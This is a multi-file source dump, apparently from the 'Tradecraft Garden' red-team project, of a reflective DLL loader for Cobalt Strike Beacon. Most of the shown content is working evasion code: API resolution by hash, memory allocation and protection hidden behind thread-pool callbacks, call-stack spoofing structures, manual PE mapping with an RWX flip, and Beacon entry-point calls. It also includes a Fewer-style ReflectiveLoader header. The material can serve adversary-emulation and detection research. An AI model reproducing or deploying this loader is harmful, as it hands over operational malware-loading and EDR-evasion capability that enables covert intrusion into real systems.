make object
patch "xorkey" $HKEY
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
export
link "my_hooks"
push $DLL
link "my_data"
export
+87
View File
@@ -0,0 +1,87 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/*
* Save you some headache doing a PIC printf for debugging
*/
#ifndef WIN32_FUNC
#define WIN32_FUNC( x ) __typeof__( x ) * x
#endif
#define PIC_STRING(name, str) char name[] = { str }
#define PIC_WSTRING(name, str) wchar_t name[] = { str }
typedef int __cdecl (*vsnprintf_t)(char * d, size_t n, char * format, ...);
typedef struct {
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(OutputDebugStringA);
vsnprintf_t vsnprintf;
} DPRINTFFUNCS;
void __dprintf(DPRINTFFUNCS * funcs, char * format, va_list * args) {
int len;
char * temp;
/* figure out the length of our buffer */
len = funcs->vsnprintf(NULL, 0, format, *args);
/* allocate our memory */
temp = funcs->VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
//__stosb((unsigned char *)temp, 0, len + 1);
/* format everything */
funcs->vsnprintf(temp, len + 1, format, *args);
/* printf it */
funcs->OutputDebugStringA(temp);
/* free our memory and move on with our lives */
funcs->VirtualFree(temp, 0, MEM_RELEASE);
}
void dprintf(IMPORTFUNCS * ifuncs, char * format, ...) {
va_list args;
HMODULE mod;
DPRINTFFUNCS funcs;
PIC_STRING(kern32, "KERNEL32");
PIC_STRING(vastr, "VirtualAlloc");
PIC_STRING(vfstr, "VirtualFree");
PIC_STRING(odstr, "OutputDebugStringA");
PIC_STRING(msvcrt, "MSVCRT");
PIC_STRING(pfstr, "vsnprintf");
mod = ifuncs->LoadLibraryA(kern32);
funcs.VirtualAlloc = (__typeof__(VirtualAlloc) *) ifuncs->GetProcAddress(mod, vastr);
funcs.VirtualFree = (__typeof__(VirtualFree) *) ifuncs->GetProcAddress(mod, vfstr);
funcs.OutputDebugStringA = (__typeof__(OutputDebugStringA) *)ifuncs->GetProcAddress(mod, odstr);
mod = ifuncs->LoadLibraryA(msvcrt);
funcs.vsnprintf = (vsnprintf_t) ifuncs->GetProcAddress(mod, pfstr);
va_start(args, format);
__dprintf(&funcs, format, &args);
va_end(args);
}
+76
View File
@@ -0,0 +1,76 @@
#include <windows.h>
#define RBP_OP_INFO 0x5
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
typedef ULONG NTAPI (*RTLRANDOMEX) (PULONG);
// God Bless Vulcan Raven.
typedef struct _STACK_FRAME {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME, * PSTACK_FRAME;
typedef enum _UNWIND_OP_CODES {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union _UNWIND_CODE {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
} UNWIND_INFO, *PUNWIND_INFO;
typedef struct _FRAME_INFO {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO, * PFRAME_INFO;
typedef struct _SYNTHETIC_STACK_FRAME {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID pGadget;
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
typedef struct {
PVOID function;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL, * PFUNCTION_CALL;
typedef struct _DRAUGR_FUNCTION_CALL {
PFUNCTION_CALL FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
+61
View File
@@ -0,0 +1,61 @@
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9
#define GETMODULEHANDLEA_HASH 0xD3324904
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALALLOCEX_HASH 0x6E1A959C
#define VIRTUALPROTECT_HASH 0x7946C61B
#define VIRTUALPROTECTEX_HASH 0x53D98756
#define VIRTUALFREE_HASH 0x30633AC
#define GETTHREADCONTEXT_HASH 0x68A7C7D2
#define SETTHREADCONTEXT_HASH 0xE8A7C7D3
#define INTERNETOPENA_HASH 0x57E84429
#define INTERNETCONNECTA_HASH 0x1E4BE80E
#define RESUMETHREAD_HASH 0x9E4A3F88
#define CREATETHREAD_HASH 0xCA2BD06B
#define CREATEREMOTETHREAD_HASH 0x72BD9CDD
#define OPENPROCESS_HASH 0xEFE297C0
#define OPENTHREAD_HASH 0x58C91E6F
#define CLOSEHANDLE_HASH 0xFFD97FB
#define CREATEFILEMAPPINGA_HASH 0x56C61229
#define MAPVIEWOFFILE_HASH 0x7B073C59
#define UNMAPVIEWOFFILE_HASH 0xB2089259
#define VIRTUALQUERY_HASH 0xA3C8C8AA
#define DUPLICATEHANDLE_HASH 0xBD566724
#define READPROCESSMEMORY_HASH 0x579D1BE9
#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1
#define EXITTHREAD_HASH 0x60E0CEEF
#define CREATEPROCESSA_HASH 0x16B3FE72
#define SLEEP_HASH 0xDB2D49B0
#define TPALLOCWORK_HASH 0x7449D9F8
#define TPPOSTWORK_HASH 0xA3560665
#define TPRELEASEWORK_HASH 0x1FFDA65A
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
#define HASH_KEY 13
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d ) {
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
+1060
View File
File diff suppressed because it is too large Load Diff
+301
View File
@@ -0,0 +1,301 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
void setupProxy();
__attribute__((noinline, no_reorder)) void go() {
setupProxy();
}
#include "loaderdefs.h"
#include "loader.h"
#include "picorun.h"
#include "hash.h"
#include "resolve_eat.h"
#include "proxy.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define DLL_BEACON_START 0x4
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
WIN32_FUNC(RtlLookupFunctionEntry);
WIN32_FUNC(GetModuleHandleA);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualAllocEx);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualProtectEx);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(GetThreadContext);
WIN32_FUNC(SetThreadContext);
WIN32_FUNC(ResumeThread);
WIN32_FUNC(CreateThread);
WIN32_FUNC(CreateRemoteThread);
WIN32_FUNC(OpenProcess);
WIN32_FUNC(OpenThread);
WIN32_FUNC(CloseHandle);
WIN32_FUNC(CreateFileMappingA);
WIN32_FUNC(MapViewOfFile);
WIN32_FUNC(UnmapViewOfFile);
WIN32_FUNC(VirtualQuery);
WIN32_FUNC(DuplicateHandle);
WIN32_FUNC(ReadProcessMemory);
WIN32_FUNC(WriteProcessMemory);
WIN32_FUNC(ExitThread);
WIN32_FUNC(CreateProcessA);
WIN32_FUNC(Sleep);
TPALLOCWORK TpAllocWork;
TPPOSTWORK TpPostWork;
TPRELEASEWORK TpReleaseWork;
void * NtAllocateVirtualMemory;
void * NtProtectVirtualMemory;
} WIN32FUNCS;
void findNeededFunctions(WIN32FUNCS * funcs)
{
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
}
#ifdef WIN_X86
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
#else
#define GETRESOURCE(x) (char *)&x
#endif
typedef struct {
int length;
char value[];
} RESOURCE;
char __DLLDATA__[0] __attribute__((section("my_data")));
char __PICDATA__[0] __attribute__((section("my_proxy")));
char __HOKDATA__[0] __attribute__((section("my_hooks")));
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
char * loader_start() {
#ifdef WIN_X86
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
#else
return (char *)go;
#endif
}
typedef struct {
char draugrpic[4096];
char hookdata[4096];
char hookcode[12288];
char dllbase[0];
} LAYOUT;
void __attribute__((naked)) workCallback()
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov rbx, rdx;" // move struct as we're going to stomp rdx
"mov rax, [rbx];" // function pointer
"mov rcx, [rbx + 0x8];" // argument 1
"mov rdx, [rbx + 0x10];" // argument 2
"mov r8, [rbx + 0x18];" // argument 3
"mov r9, [rbx + 0x20];" // argument 4
"mov r10, [rbx + 0x30];" // argument 6
"mov [rsp + 0x30], r10;"
"mov r10, [rbx + 0x28];" // argument 5
"mov [rsp + 0x28], r10;"
"jmp rax;" // jump
".att_syntax prefix;"
);
}
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
void * baseAddress = NULL;
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
PTP_WORK WorkReturn = NULL;
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
funcs->Sleep(100);
return baseAddress;
}
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
PTP_WORK WorkReturn = NULL;
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
funcs->Sleep(100);
}
#ifdef DEBUG
#include "debug.h"
#endif
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData)
{
char * hooks;
/* Time to load the hook PICO */
hooks = GETRESOURCE(__HOKDATA__);
#ifdef DEBUG
PIC_STRING(picosz, "[UDRL] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
#endif
/* Load it into the layout */
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
/* Make the code section RX */
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
/* Call its entry point */
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
/* Now load the DLL */
LoadDLL(dllData, dll, layout->dllbase);
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
/* Get its entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
/* yolo this RWX for now */
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
/* Call it twice for Beacon */
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)loader_start(), DLL_BEACON_START, NULL);
}
void setupProxy()
{
WIN32FUNCS funcs;
char * dll;
DLLDATA dllData;
LAYOUT * layout;
RESOURCE * pic;
/* Resolve functions */
findNeededFunctions(&funcs);
/* Grab the DLL because we need its size */
dll = GETRESOURCE(__DLLDATA__);
/* Parse the headers */
ParseDLL(dll, &dllData);
/* Allocate memory for everything we'll load */
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
#ifdef DEBUG
PIC_STRING(mem, "[UDRL] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
#endif
/* Grab the Draugr PIC */
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
/* Copy it into memory */
memcpy(layout->draugrpic, pic->value, pic->length);
/* Flip memory to RX */
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(layout->draugrpic);
/* Carry on loading the rest */
reflectiveLoader(&funcs, layout, dll, &dllData);
}
+225
View File
@@ -0,0 +1,225 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
typedef struct {
UINT_PTR function;
UINT_PTR argument1;
UINT_PTR argument2;
UINT_PTR argument3;
UINT_PTR argument4;
UINT_PTR argument5;
UINT_PTR argument6;
} NTARGS;
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* load whatever library we need here */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+154
View File
@@ -0,0 +1,154 @@
/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
typedef struct _UNICODE_STR
{
USHORT Length;
